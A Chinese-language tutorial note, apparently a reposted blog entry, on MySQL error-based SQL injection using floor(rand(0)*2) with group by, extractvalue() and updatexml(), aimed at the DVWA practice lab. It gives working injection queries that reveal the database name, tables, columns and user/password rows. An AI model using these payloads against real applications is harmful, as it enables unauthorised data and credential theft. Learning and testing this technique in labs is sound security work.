渗透学习之SQL报错注入

一、floor函数
floor(rand(0)*2) 函数
Floor(rand(0)*2),其中 rand(0)*2 是伪随机函数,floor 将结果取整,得到伪随机序列 0,1,1

 

我们可以通过 concat()函数将注入语句与 floor()函数连接起来,这样注入结果就会和报错信息共同显示出来。
备注:尝试利用 group_concat()函数串联结果,会出现错误,只能通过 concat 串联。
执行:
mysql> select count(*),concat( floor(rand(0)*2), 0x3a, version(),0x3a,database()) x from test group by x;
基于报错常用注入语句
判断报错注入点
select count(*),floor(rand(0)*2) x from information_schema.schemata group by x --
爆数据库
MariaDB [floor]> select count(*),concat(floor(rand(0)*2),database()) x from information_schema. schematagroup by x;
爆表名
MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from
information_schema. schemata group by x;
爆字段
MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema. schemata group by x;
爆内容
MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(user,password) from dvwa.users limit 0,1)) x from information_schema. schemata group by x; 
二、extractvalue()函数
- 输入了符合xpath_string格式的字符串,导致的报错
- extractvaule(XML_document, XPath_string)
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串)
- 输入了符合xpath_string格式的字符串,导致的报错
- 作用:从目标XML中返回包含所查询值的字符串
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
三、updatexml()函数
- updatexml(XML_document, XPath_string, new_value)
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
 
原文地址:https://www.cnblogs.com/heiwa-0924/p/12827297.html